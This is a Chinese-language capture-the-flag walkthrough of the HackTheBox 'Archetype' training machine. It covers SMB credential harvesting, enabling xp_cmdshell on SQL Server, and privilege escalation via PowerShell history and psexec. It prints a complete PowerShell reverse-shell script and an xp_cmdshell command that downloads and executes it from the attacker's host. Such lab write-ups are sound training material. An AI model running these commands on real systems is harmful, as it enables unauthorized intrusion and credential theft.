ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

渗透测试练习靶场hackthebox--Starting Point Archetype攻略

2021-09-09 18:31:06  阅读:187  来源: 互联网

标签:shell Point 数据库 sql 端口 hackthebox 使用 10.10 Archetype


扫描

根据网站提示,目标是10.10.10.27,使用nmap进行扫描:
-sC:使用默认脚本进行扫描,等同于–script=default
-sV:探测开启的端口来获取服务、版本信息

可以发现,目标开启了135、139、445、1433端口,其中1433是SQL Server数据库默认使用的端口,445是文件共享协议(SMB)默认使用的端口

测试445端口

测试445端口的SMB服务是否支持匿名访问,没有经过权限配置可能默认允许所有人无需身份认证来匿名访问共享资源,使用smbclient来访问samba服务器的共享资源:

smbclient -N -L //10.10.10.27/

-N:匿名登录
-L:获取共享资源列表

在共享资源列表内,发现存在一个backups目录,再次使用smbclient访问它:

smbclient -N //10.10.10.27/backups

使用dir命令列出backups文件夹下的文件,发现存在一个prod.dtsConfig文件,它是与SSIS一起使用的配置文件,使用get命令下载到主机上,再使用cat命令查看一下文件内容

发现其中包含本地Windows用户的凭据的Password和User ID参数,User ID参数的值为ARCHETYPE\sql_svc,ARCHETYPE是靶机的主机名,sql_svc是具有数据库登录权限的操作系统用户名

连接数据库

下载并安装impacket工具
连接数据库(注意需要输入上面凭据中的password)

cd /impacket-master/examples
python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth 

判断当前是否拥有sysadmin权限:

SELECT IS_SRVROLEMEMBER('sysadmin')

返回值是1,代表true,说明当前用户具有sysadmin权限,能够在靶机上使用SQL Server的xp_cmdshell来进行远程代码执行

使用数据库调用系统命令

 EXEC sp_configure 'Show Advanced Options', 1;	\\使用sp_configure系统存储过程,设置服务器配置选项,将Show Advanced Options设置为1时,允许修改数据库的高级配置选项
 reconfigure;					\\确认上面的操作
 sp_configure;					\\查看当前sp_configure配置情况
 EXEC sp_configure 'xp_cmdshell', 1		\\使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令
 reconfigure;					\\确认上面的操作
 xp_cmdshell "whoami" 				\\在靶机上调用cmdshell执行whoami


执行结束后,SQL会返回当前数据库进程的操作系统用户为archetype\sql_svc

获取操作系统普通用户权限

目前,我们拥有了数据库的shell,也可以使用部分操作系统的命令,但是需要一个直接的操作系统shell来进行后续的操作
建立一个powershell的反向shell文件shell.ps1(注意修改其中的ip地址为接收shell的kali主机的地址),代码如下:

$client = New-Object System.Net.Sockets.TCPClient("10.10.15.66",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

接下来,在kali中使用python搭建一个迷你http服务器,监听80端口来供靶机下载shell.ps1文件(注意不要切换目录,以防找不到文件):

python3 -m http.server 80


在kali中启动netcat监听443端口,等待靶机反向shell连接(端口号需要与shell.ps1中相对应):

nc -nvvlp 443


接下来,回到数据库shell中,执行命令:

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.15.66/shell.ps1\");"

目的是为了让靶机到kali内下载shell.ps1文件并执行(注意ip地址为接收shell的kali主机的地址)
查看刚才python搭建的http服务器,发现已经接收到请求(如果没有接收到请查看防火墙是否放行80与443端口)
放行80与443端口

ufw allow from 10.10.10.27 proto tcp to any port 80,443

再查看netcat,发现已经弹回shell,执行一个ipconfig发现可以正常使用

在netcat中执行如下命令即可拿到需要提交的flag:

type C:\Users\sql_svc\Desktop\user.txt

提权

可以发现sql_svc同时是操作系统普通用户、数据库和数据库服务用户,值得去检查频繁访问的文件或已执行的命令
使用如下命令来访问PowerShell历史记录文件:

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt


发现administrator用户登录后将共享文件夹\Archetype\backups映射到T盘,后面是administrator用户名和它的密码,可以使用Impacket中的psexec.py来提权:

psexec.py administrator@10.10.10.27

输入密码后刚才获取的密码即可提权成功

执行如下命令可获取管理员的flag

type C:\Users\Administrator\Desktop\root.txt

标签:shell,Point,数据库,sql,端口,hackthebox,使用,10.10,Archetype
来源: https://www.cnblogs.com/ctfisnull/p/15248329.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有